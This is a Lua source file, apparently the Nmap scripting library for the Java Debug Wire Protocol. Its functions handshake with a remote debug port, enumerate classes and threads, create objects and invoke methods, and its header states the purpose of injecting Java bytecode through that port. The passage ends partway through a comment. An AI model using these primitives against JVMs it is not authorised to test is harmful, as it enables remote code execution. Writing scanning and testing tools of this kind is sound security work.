/nselib/jdwp.lua

--- JDWP (Java Debug Wire Protocol) library implementing a set of commands needed to 
--  use remote debugging port and inject java bytecode. 
--
-- There are two basic packet types in JDWP protool. 
-- Command packet and reply packet. Command packets are sent by 
-- a debugger to a remote port which replies with a reply packet.
-- 
-- Simple handshake is needed to start the communication. 
-- The debugger sends a "JDWP-Handshake" string and gets the same as a reply.
-- Each (command and reply packet) has an id field since communication can be asynchronous.
-- Packet id can be monothonicaly increasing.
-- Although communication can be asynchronous, it is not (at least in my tests) so the same
-- packet id can be used for all communication. 
-- 
-- To start the connection, script should call <code>jdwp.connect()</code> which returns success
-- status and a socket. All other protocol functions require a socket as their first parameter.
-- 
-- Example of initiating connection:
-- <code>
-- local status,socket = jdwp.connect(host,port)
-- if not status then
-- 	stdnse.print_debug("error, %s",socket)
-- end
-- local version_info
-- status, version_info = jdwp.getVersion(socket,0)
-- </code>
--
-- References:
-- * http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
-- 
--@copyright Same as Nmap--See http://nmap.org/book/man-legal.html
--@author Aleksandar Nikolic
--
-- Version 0.1
-- Created 08/10/2012 - v0.1 - Created by Aleksandar Nikolic

local stdnse = require "stdnse"
local string = require "string"
local bin = require "bin"
local table = require "table"
local nmap = require "nmap"

_ENV = stdnse.module("jdwp", stdnse.seeall)

-- JDWP protocol specific constants 
JDWP_CONSTANTS = {
	handshake = "JDWP-Handshake" -- Connection initialization handshake
}

-- List of error codes from:
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_Error
ERROR_CODES = {
	[0] = "NONE No error has occurred.",
	[10] = "INVALID_THREAD Passed thread is null, is not a valid thread or has exited.",
	[11] = "INVALID_THREAD_GROUP Thread group invalid.",
	[12] = "INVALID_PRIORITY Invalid priority.",
	[13] = "THREAD_NOT_SUSPENDED If the specified thread has not been suspended by an event.",
	[14] = "THREAD_SUSPENDED Thread already suspended.",
	[20] = "INVALID_OBJECT If this reference type has been unloaded and garbage collected.",
	[21] = "INVALID_CLASS Invalid class.",
	[22] = "CLASS_NOT_PREPARED Class has been loaded but not yet prepared.",
	[23] = "INVALID_METHODID Invalid method.",
	[24] = "INVALID_LOCATION Invalid location.",
	[25] = "INVALID_FIELDID Invalid field.",
	[30] = "INVALID_FRAMEID Invalid jframeID.",
	[31] = "NO_MORE_FRAMES There are no more Java or JNI frames on the call stack.",
	[32] = "OPAQUE_FRAME Information about the frame is not available.",
	[33] = "NOT_CURRENT_FRAME Operation can only be performed on current frame.",
	[34] = "TYPE_MISMATCH The variable is not an appropriate type for the function used.",
	[35] = "INVALID_SLOT Invalid slot.",
	[40] = "DUPLICATE Item already set.",
	[41] = "NOT_FOUND Desired element not found.",
	[50] = "INVALID_MONITOR Invalid monitor.",
	[51] = "NOT_MONITOR_OWNER This thread doesn't own the monitor.",
	[52] = "INTERRUPT The call has been interrupted before completion.",
	[60] = "INVALID_CLASS_FORMAT The virtual machine attempted to read a class file and determined that the file is malformed or otherwise cannot be interpreted as a class file.",
	[61] = "CIRCULAR_CLASS_DEFINITION A circularity has been detected while initializing a class.",
	[62] = "FAILS_VERIFICATION The verifier detected that a class file, though well formed, contained some sort of internal inconsistency or security problem.",
	[63] = "ADD_METHOD_NOT_IMPLEMENTED Adding methods has not been implemented.",
	[64] = "SCHEMA_CHANGE_NOT_IMPLEMENTED Schema change has not been implemented.",
	[65] = "INVALID_TYPESTATE The state of the thread has been modified, and is now inconsistent.",
	[66] = "HIERARCHY_CHANGE_NOT_IMPLEMENTED A direct superclass is different for the new class version, or the set of directly implemented interfaces is different and canUnrestrictedlyRedefineClasses is false.",
	[67] = "DELETE_METHOD_NOT_IMPLEMENTED The new class version does not declare a method declared in the old class version and canUnrestrictedlyRedefineClasses is false.",
	[68] = "UNSUPPORTED_VERSION A class file has a version number not supported by this VM.",
	[69] = "NAMES_DONT_MATCH The class name defined in the new class file is different from the name in the old class object.",
	[70] = "CLASS_MODIFIERS_CHANGE_NOT_IMPLEMENTED The new class version has different modifiers and and canUnrestrictedlyRedefineClasses is false.",
	[71] = "METHOD_MODIFIERS_CHANGE_NOT_IMPLEMENTED A method in the new class version has different modifiers than its counterpart in the old class version and and canUnrestrictedlyRedefineClasses is false.",
	[99] = "NOT_IMPLEMENTED The functionality is not implemented in this virtual machine.",
	[100] = "NULL_POINTER Invalid pointer.",
	[101] = "ABSENT_INFORMATION Desired information is not available.",
	[102] = "INVALID_EVENT_TYPE The specified event type id is not recognized.",
	[103] = "ILLEGAL_ARGUMENT Illegal argument.",
	[110] = "OUT_OF_MEMORY The function needed to allocate memory and no more memory was available for allocation.",
	[111] = "ACCESS_DENIED Debugging has not been enabled in this virtual machine. JVMDI cannot be used.",
	[112] = "VM_DEAD The virtual machine is not running.",
	[113] = "INTERNAL An unexpected internal error has occurred.",
	[115] = "UNATTACHED_THREAD The thread being used to call this function is not attached to the virtual machine. Calls must be made from attached threads.",
	[500] = "INVALID_TAG object type id or class tag.",
	[502] = "ALREADY_INVOKING Previous invoke not complete.",
	[503] = "INVALID_INDEX Index is invalid.",
	[504] = "INVALID_LENGTH The length is invalid.",
	[506] = "INVALID_STRING The string is invalid.",
	[507] = "INVALID_CLASS_LOADER The class loader is invalid.",
	[508] = "INVALID_ARRAY The array is invalid.",
	[509] = "TRANSPORT_LOAD Unable to load the transport.",
	[510] = "TRANSPORT_INIT Unable to initialize the transport.",
	[511] = "NATIVE_METHOD",
	[512] = "INVALID_COUNT The count is invalid."	
}

-- JDWP protocol Command packet as described at
-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
-- Each command packet has a Command Set number, Command Number and data required
-- for that command.
JDWPCommandPacket = {

	new = function(self,id,command_set,command, data)
		local o = {
			id = id,
			flags = 0, -- current specification has no flags defined for Command Packets
			command_set = command_set,
			command = command,
			data = data
		}
       	setmetatable(o, self)
        self.__index = self		
		return o
	end,
	
	-- Packs command packet as a string od bytes, ready to be sent
	-- to the target debugee.
	pack = function(self)
		local packed_packet
		if self.data == nil then 
			packed_packet = bin.pack(">I",11) -- lenght - minimal header is 11 bytes
		else 
			packed_packet = bin.pack(">I",11 + #self.data) -- lenght with data
		end
		packed_packet = packed_packet .. bin.pack(">I",self.id)
		packed_packet = packed_packet .. bin.pack(">C",0)	-- flag
		packed_packet = packed_packet .. bin.pack(">C",self.command_set)
		packed_packet = packed_packet .. bin.pack(">C",self.command)
		if self.data then
			packed_packet = packed_packet .. self.data
		end
		return packed_packet
	end
}

-- JDWP protocol Reply packet as described at 
-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html
-- Reply packets are recognized by 0x80 in flag field.
JDWPReplyPacket = {

	new = function(self,length,id,error_code,data)
		local o = {
			length = length,
			id = id,
			flags = 0x80, -- no other flag is currently specified in the specification
			error_code = error_code, -- see ERROR_CODES table
			data = data -- reply data, contents depend on the command
		}
       	setmetatable(o, self)
        self.__index = self		
		return o
	end,
	
	-- Parses the reply into JDWPReplyPacket table.
	parse_reply = function(self,reply_packet)
		local pos,length,id,flags,error_code,data
		pos, length = bin.unpack(">I",reply_packet)
		pos, id = bin.unpack(">I",reply_packet,pos)
		pos, flags = bin.unpack(">C",reply_packet,pos)
		pos, error_code = bin.unpack(">S",reply_packet,pos)
		data = string.sub(reply_packet,pos)	
		if flags == 0x80 then
			return true, JDWPReplyPacket:new(length,id,error_code,data)
		end
		stdnse.print_debug(2,"JDWP error parsing reply. Wrong reply packet flag. Raw data: ", stdnse.tohex(reply_packet))
		return false, "JDWP error parsing reply."
	end
	
}

--- Negotiates the initial debugger-debugee handshake.
--
--@param host Host to connect to.
--@param port Port to connect to.
--@return (status,socket) If status is false, socket is error message, otherwise socket is 
-- a newly created socket with initial handshake finished.
function connect(host,port)
	local status, result,err
	local socket = nmap.new_socket("tcp")
	socket:set_timeout(10000)
	local status, err = socket:connect(host, port)
	if not status then
		stdnse.print_debug(2,"JDWP could not connect: %s",err)
		return status, err 
	end
	status, err = socket:send(JDWP_CONSTANTS.handshake)
	if not status then
		stdnse.print_debug(2,"JDWP could not send handshake: %s",err)
		return status, err
	end
	status, result = socket:receive()
	if not status then
		stdnse.print_debug(2,"JDWP could not receive handshake: %s",result)
		return status, result
	end
	if result == JDWP_CONSTANTS.handshake then
		stdnse.print_debug("JDWP handshake successful.")
		return true, socket
	end
	return false, "JDWP handshake unsuccessful."
end

--- Helper function to pack regular string into UTF-8 string.
-- 
--@param data String to pack into UTF-8.
--@return utf8_string UTF-8 packed string. Four bytes lenght followed by the string its self.
function toUTF8(data)
	local utf8_string = bin.pack(">i",#data) .. data
	return utf8_string
end

--- Helper function to read all Reply packed data which might be fragmented 
--  over multipe packets. 
--
--@param socket Socket to receive from.
--@return (status,data) If status is false, error string is returned, else data contains read ReplyPacket bytes.
function receive_all(socket)
	local status, result = socket:receive()
	if not status then
		return false,result
	end
	local data = result
	local _, expected_length = bin.unpack(">I",result) -- first 4 bytes of packet data is the ReplyPacket length
	while expected_length > #data do -- read until we get all the ReplyPacket data
		status,result = socket:receive()
		if not status then
			return true, data -- if somethign is wrong,return partial data 
		end
		data = data .. result
	end
	return true,data 
end

--- Helper function to extract ascii string from UTF-8
--
-- Writen in this way so it can be used interchangeably with bin.unpack().
-- 
--@param data Data from which to extract the string.
--@param pos  Offset into data string where to begin.
--@return (pos,ascii_string) Returns position where the string extraction ended and actuall ascii string.
local function extract_string(data,pos)
	local string_size
	if pos > #data then
		stdnse.print_debug(2,"JDWP extract_string() position higher than data length, probably incomplete data received.")
		return pos, nil
	end
	pos, string_size = bin.unpack(">I",data,pos)
	local ascii_string = string.sub(data,pos,pos+string_size)
	local new_pos = pos+string_size
	return new_pos,ascii_string
end


--- Helper function that sends the Command packet and parses the reply.
--
--@param socket Socket to use to send the command.
--@param command <code>JDWPCommandPacket</code> to send. 
--@return (status,data) If status is false, data contains specified error code message. If true, data contains data from the reply.
function executeCommand(socket,command)
	socket:send(command:pack())
	local status, result = receive_all(socket)
	if not status then
		return false, "JDWP executeCommand() didn't get a reply."
	end	
	local reply_packet
	status, reply_packet = JDWPReplyPacket:parse_reply(result)	
	if not status then
		return false, reply_packet
	end		
	if not (reply_packet.error_code == 0) then -- we have a packet with error , error code 0 means no error occured
		return false, ERROR_CODES[reply_packet.error_code]
	end	
	local data = reply_packet.data
	return true, data
end

--- VirtualMachine Command Set (1) 
--  Commands targeted at the debugggee virtual machine.
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine


--- Version Command (1) 
--  Returns the JDWP version implemented by the target VM as a table.
--
--  Returns a table with following values:
--  * 'description' Debugge vm verbose description.
--  * 'jdwpMajor'   Number representing major JDWP version.
--  * 'jdwpMinor'   Number representing minor JDWP version.
--  * 'vmVersion'   String representing version of the debuggee VM.
--  * 'vmName' 		Name of the debuggee VM.
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Version
-- 
--@param socket Socket to use to send the command.
--@param id 	 Packet id. 
--@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info. 
function getVersion(socket,id)
	local command = JDWPCommandPacket:new(id,1,1,nil) -- Version Command (1)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP getVersion() error : %s",data)
		return false,data
	end
	-- parse data
	local version_info = {description = "",
						  jdwpMajor = 0,
						  jdwpMinor = 0,
						  vmVersion = "",
						  vmName = ""}
	local vmVersionSize
	local pos
	pos, version_info.description = extract_string(data,0)
	pos, version_info.jdwpMajor = bin.unpack(">i",data,pos)
	pos, version_info.jdwpMinor = bin.unpack(">i",data,pos)
	pos, version_info.vmVersion = extract_string(data,pos)
	pos, version_info.vmName = extract_string(data,pos)
	return true, version_info
end

--- Classes by Signature command (2)
--  Returns reference types for all the classes loaded by the target VM which match the given signature.
-- 
--  Given the class signature (like "Ljava/lang/Class") returns it's reference ID which can be used to reference that class
--  in other commands. Returns a list of tables containing following values:
--  * 'refTypeTag' JNI type tag
--  * 'referenceTypeID' Reference type of the class 
--  * 'status' Current class status.
-- 	http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_ClassesBySignature
--
--@param socket 	Socket to use to send the command.
--@param id 	 	Packet id. 
--@param signature Signature of the class. 
--@return (status,classes) If status is false, classes is an error string, else it contains list of found classes.
function getClassBySignature(socket,id,signature)
	local command = JDWPCommandPacket:new(id,1,2,toUTF8(signature))
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP getClassBySignature() error : %s",data)
		return false,data
	end
	-- parse data
	local classes = {}
	local pos,number_of_classes = bin.unpack(">i",data)

	for i = 1, number_of_classes do
		local class_info = { 
			refTypeTag = nil,
			referenceTypeID = nil,
			status = nil
		}	
		pos, class_info.refTypeTag = bin.unpack("c",data,pos)
		pos, class_info.referenceTypeID = bin.unpack(">L",data,pos)
		pos, class_info.status = bin.unpack(">i",data,pos)
		table.insert(classes,class_info)
	end
	return true, classes
end

--- AllThreads Command (4) 
--  Returns all threads currently running in the target VM .
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllThreads
--
--@param socket 	Socket to use to send the command.
--@param id 	 	Packet id. 
--@return (status, threads) If status is false threads contains an error string, else it conatins a list of all threads in the debuggee VM.
function getAllThreads(socket,id)
	local command = JDWPCommandPacket:new(id,1,4,nil)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP getAllThreads() error: %s", data)
		return false,data
	end
	-- parse data
	local pos,number_of_threads = bin.unpack(">i",data)
	local threads = {}
	for i = 1, number_of_threads do 
		local thread
		pos, thread = bin.unpack(">L",data,pos)
		table.insert(threads,thread)
	end
	return true, threads
end

--- Resume Command (9) 
--  Resumes execution of the application after the suspend command or an event has stopped it.
--
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Resume
-- 
--@param socket 	Socket to use to send the command.
--@param id 	 	Packet id. 
--@return (status, nil) If status is false error string is returned, else it's null since this command has no data in the reply.
function resumeVM(socket,id)
	local command = JDWPCommandPacket:new(id,1,9,nil)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP resumeVM() error: %s", data)
		return false,data
	end	
	-- wait for event notification
	status, data = receive_all(socket)	
	if not status then
		stdnse.print_debug(2,"JDWP resumeVM() event notification failed: %s", data)
	end
	return true, nil
end

--- CreateString Command (11)
--  Creates new string object in the debuggee VM.
--
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_CreateString
--
--@param socket 				Socket to use to send the command.
--@param id 	 				Packet id. 
--@param ascii_string			String to create.
--@return (status, stringID) 	If status is false error string is returned, else stringID is newly created string.
function createString(socket,id,ascii_string)
	local command = JDWPCommandPacket:new(id,1,11,toUTF8(ascii_string))
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP createString() error: %s", data)
		return false,data
	end	
	local _,stringID = bin.unpack(">L",data)
	return true, stringID
end

--- AllClassesWithGeneric Command (20)
--  Returns reference types and signatures for all classes currently loaded by the target VM.
--  
--  Returns a list of tables containing following info: 
--  * 'refTypeTag'  	   Kind of following reference type.   
--  * 'typeID'   		   Loaded reference type  
--  * 'signature'   	   The JNI signature of the loaded reference type.  
--  * 'genericSignature'   The generic signature of the loaded reference type or an empty string if there is none.
--  * 'status'   		   The current class status.   
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllClassesWithGeneric
--
--@param socket 	Socket to use to send the command.
--@param id 	 	Packet id. 
--@return (status, all_classes) If status is false all_classes contains an error string, else it is a list of loaded classes information.
function getAllClassesWithGeneric(socket,id)
	local command = JDWPCommandPacket:new(id,1,20,nil)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP getAllClassesWithGeneric() error: %s", data)
		return false,data
	end
	-- parse data
	local all_classes = {}
	local pos,number_of_classes = bin.unpack(">i",data)
	
	for i = 0 , number_of_classes do
		local class = {
			refTypeTag = nil,
			typeID = nil,
			signature = nil,
			genericSignature = nil,
			status = nil
		}
		if pos > #data then break end
		pos, class.refTypeTag = bin.unpack("C",data,pos)
		pos, class.typeID = bin.unpack(">L",data,pos)
		pos, class.signature = extract_string(data,pos)
		pos, class.genericSignature = extract_string(data,pos)
		pos, class.status = bin.unpack(">i",data,pos)
		table.insert(all_classes,class)
	end
	return true, all_classes
end

--- ReferenceType Command Set (2) 
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType


--- SignatureWithGeneric Command (13)
--  Returns the JNI signature of a reference type.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_SignatureWithGeneric
--
--@param socket 	Socket to use to send the command.
--@param id 	 	Packet id. 
--@param classID   Reference type id of the class to get the signature from.
--@return (status, signature) If status is false signature contains an error string, else it is class signature (like "Ljava/lang/Class").
function getSignatureWithGeneric(socket,id,classID)
	local command = JDWPCommandPacket:new(id,2,13,bin.pack(">L",classID)) -- Version Command (1)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP getVersion() error : %s",data)
		return false,data
	end
	local _,signature = extract_string(data,0)
	-- parse data
	return true,signature
end

--- MethodsWithGeneric Command (15)
--  Returns information, including the generic signature if any, for each method in a reference type.
--
--  Returns a list of tables containing following fields for each method:
--  * 'methodID'			Method ID which can be used to call the method.
--  * 'name'				The name of the method.  
--  * 'signature'			The JNI signature of the method.  
--  * 'generic_signature'	The generic signature of the method, or an empty string if there is none.  
--  * 'modBits'				The modifier bit flags (also known as access flags) which provide additional information on the method declaration.
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_MethodsWithGeneric
--
--@param socket 	Socket to use to send the command.
--@param id 	 	Packet id. 
--@param classID   Reference type id of the class to get the list of methods.
--@return (status, signature) If status is false methods contains an error string, else it a list of methods information.
function getMethodsWithGeneric(socket,id,classID)
	local command = JDWPCommandPacket:new(id,2,15,bin.pack(">L",classID))
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP getMethodsWithGeneric() error : %s",data)
		return false,data
	end
	-- parse data	
	local methods = {}
	local pos,number_of_methods = bin.unpack(">i",data)

	for i = 1, number_of_methods do
		local method_info = {
			methodID = nil,
			name = nil,
			signature = nil,
			generic_signature = nil,
			modBits = nil
		}	
		pos, method_info.methodID = bin.unpack(">i",data,pos)
		pos,method_info.name = extract_string(data,pos)
		pos, method_info.signature = extract_string(data,pos)
		pos,method_info.generic_signature = extract_string(data,pos)
		pos, method_info.modBits = bin.unpack(">i",data,pos)
		table.insert(methods,method_info)
	end
	return true, methods
end

--- ClassType Command Set (3)
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType

--- InvokeMethod Command (3) 
--  Invokes a class' static method and returns the reply data.
-- 
--  Reply data can vary so parsing is left to the function caller.
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_InvokeMethod
--
--@param socket 		Socket to use to send the command.
--@param id 	 		Packet id. 
--@param classID   	Reference type id of the class.
--@param methodID  	ID of the static method to call.
--@numberOfArguments 	Number of method arguments.
--@arguments			Already packed arguments.
--@options				Invocation options.
--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy.
function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,arguments,options)
	local params
	if numberOfArguments == 0 then
		params = bin.pack(">Liii",classID,methodID,numberOfArguments,options)
	else
		params = bin.pack(">Lii",classID,methodID,numberOfArguments) .. arguments .. bin.pack(">i",options)
	end
	
	local command = JDWPCommandPacket:new(id,3,3,params)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP invokeStaticMethod() error: %s", data)
		return false,data
	end
	return true,data
end

--- NewInstance Command (4)
--  Creates a new object of this type, invoking the specified constructor. 
--  The constructor method ID must be a member of the class type.
--
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_NewInstance
--
--@param socket 		Socket to use to send the command.
--@param id 	 		Packet id. 
--@param classID   	Reference type id of the class.
--@param threadID		The thread in which to invoke the constructor.  
--@param methodID  	The constructor to invoke.  
--@numberOfArguments 	Number of constructor arguments.
--@arguments			Already packed arguments.
--@return (status, objectID) If status is false data contains an error string, else it contains a reference ID of the newly created object.
function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments,arguments)
	local params
	if numberOfArguments == 0 then
		params = bin.pack(">LLiii",classID,threadID,methodID,numberOfArguments,0)
	else
		params = bin.pack(">LLii",classID,threadID,methodID,numberOfArguments) .. arguments
	end
	
	local command = JDWPCommandPacket:new(id,3,4,params)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP newClassInstance() error: %s", data)
		return false,data
	end
	-- parse data
	stdnse.print_debug("newClassInstance data: %s",stdnse.tohex(data))
	local pos, tag = bin.unpack(">C",data)
	local objectID
	pos, objectID = bin.unpack(">L",data,pos)
	return true,objectID
end

--- ArrayType Command Set (4) 
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType

--- NewInstance Command (1)
--	Creates a new array object of the specified type with a given length. 
--
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType_NewInstance
-- 
--@param socket 		Socket to use to send the command.
--@param id 	 		Packet id. 
--@param arrayType		The array type of the new instance as per JNI (http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502).
--@param length 	 	Length of the new array.
--@return (status, arrayID) If status is false data contains an error string, else it contains a reference ID of the newly created array.
function newArrayInstance(socket,id,arrayType,length)
	local params = bin.pack(">Li",arrayType,length)
	local command = JDWPCommandPacket:new(id,4,1,params)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP newArrayInstance() error: %s", data)
		return false,data
	end
	local pos,_ , tag, arrayID 
	pos, tag = bin.unpack("C",data)
	_, arrayID = bin.unpack(">L",data,pos)
	return true, arrayID
end

--- ObjectReference Command Set (9) 
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference

--- ReferenceType Command (1)
--  Returns the runtime type of the object. The runtime type will be a class or an array. 
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType 
--
--@param socket 		Socket to use to send the command.
--@param id 	 		Packet id. 
--@param objectID		The ID of an object. 
--@return (status, runtime_type) If status is false runtime_type contains an error string, else it contains runtime type of an object.
function getRuntimeType(socket,id,objectID)
	local command = JDWPCommandPacket:new(id,9,1,bin.pack(">L",objectID))
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP resumeVM() error: %s", data)
		return false,data
	end	
	local _,tag,runtime_type = bin.unpack(">CL",data)
	stdnse.print_debug("runtime type: %d",runtime_type)
	return true,runtime_type
end

--- InvokeMethod Command (6) 
--  Invokes a instance method with specified parameters. 
-- 
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_InvokeMethod
--
--@param socket 			Socket to use to send the command.
--@param id 	 			Packet id. 
--@param objectID			The ID of an object. 
--@param threadID			The thread in which to invoke.   
--@param classID			The class type.     
--@param methodID			ID of the method to invoke.
--@param numberOfArguments	Number of method arguments. 
--@arguments				Already packed arguments.
--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy.
function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberOfArguments,arguments)
	local params
	
	if numberOfArguments == 0 then
		params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments)
	else
		params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) .. arguments
	end
	
	local command = JDWPCommandPacket:new(id,9,6,params)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP invokeObjectMethod() error: %s", data)
		return false,data
	end
	stdnse.print_debug("invoke obj method data: %s ",stdnse.tohex(data))
	return true,data
end

--- StringReference Command Set (10) 
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference

--- Value Command (1)
--  Returns the characters contained in the string. 
--
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference_Value
--
--@param socket 			Socket to use to send the command.
--@param id 	 			Packet id. 
--@param stringID			The ID of a string to read. 
--@return (status, data) 	If status is false result contains an error string, else it contains read string.
function readString(socket,id,stringID)
	local command = JDWPCommandPacket:new(id,10,1,bin.pack(">L",stringID))
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP readString() error: %s", data)
		return false,data
	end	
	local _,result = extract_string(data,0)
	return true,result
end

--- ThreadReference Command Set (11) 
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference


--- Name Command (1)
--  Returns the thread name. 
--
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Name
--
--@param socket 					Socket to use to send the command.
--@param id 	 					Packet id. 
--@param threadID					The ID of a thread.
--@return (status, thread_name) 	If status is false thread_name contains an error string, else it contains thread's name.
function getThreadName(socket,id,threadID)
	local params = bin.pack(">L",threadID)
	local command = JDWPCommandPacket:new(id,11,1,params)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP getThreadName() error: %s", data)
		return false,data
	end
	-- parse data
	local _,thread_name = extract_string(data,0)
	return true, thread_name	
end

--- Suspend Command (2)
--  Suspends the thread. 
--
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Suspend
--
--@param socket 					Socket to use to send the command.
--@param id 	 					Packet id. 
--@param threadID					The ID of a thread.
--@return (status, thread_name) 	If status is false an error string is returned, else it's nil.
function suspendThread(socket,id,threadID)
	local params = bin.pack(">L",threadID)
	local command = JDWPCommandPacket:new(id,11,2,params)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP suspendThread() error: %s", data)
		return false,data
	end	
	return true, nil
end

--- Status Command (4)
--  Returns the current status of a thread.
--
--  Thread status is described with ThreadStatus and SuspendStatus constants (http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadStatus).
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Status
--
--@param socket 					Socket to use to send the command.
--@param id 	 					Packet id. 
--@param threadID					The ID of a thread.
--@return (status, thread_name) 	If status is false an error string is returned, else unparsed thread status data.
function threadStatus(socket,id,threadID)
	local params = bin.pack(">L",threadID)
	local command = JDWPCommandPacket:new(id,11,4,params)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP threadStatus() error: %s", data)
		return false,data
	end	
	stdnse.print_debug("threadStatus %s",stdnse.tohex(data))
	return true, data
end

--- ArrayReference Command Set (13) 
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference

--- SetValues Command (3)
--  Sets a range of array components.
--
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference_SetValues
--
--@param socket 					Socket to use to send the command.
--@param id 	 					Packet id. 
--@param objectID					The ID of an array object.
--@return (status, data) 			If status is false an error string is returned, else it's nil.
function setArrayValues(socket,id,objectID,idx,values)
	local params = bin.pack(">Lii",objectID,idx,#values) .. values
	local command = JDWPCommandPacket:new(id,13,3,params)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP setArrayValues() error: %s", data)
		return false,data
	end
	return true, nil	
end

--- EventRequest Command Set (15) 
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest

--- Uses Set Command (1) to set singlesteping to specified thread.
-- 
-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
--
--@param socket 					Socket to use to send the command.
--@param id 	 					Packet id. 
--@param threadID					The ID of the thread.
--@return (status, requestID) 		If status is false an error string is returned, else it contains assigned request id.
function setThreadSinglestep(socket,id,threadID)
	local params = bin.pack(">CCiCLii",1,2,1,10,threadID,0,0) -- event options see http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
	local command = JDWPCommandPacket:new(id,15,1,params)
	local status, data = executeCommand(socket,command)
	if not status then
		stdnse.print_debug(2,"JDWP setThreadSinglestep() error: %s", data)
		return false,data
	end	
	local _, requestID = bin.unpack(">i",data)
	return true, requestID 
end

--- Uses Clear Command (2) to unset singlesteping from a thread by specified event.
--
--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Clear
--
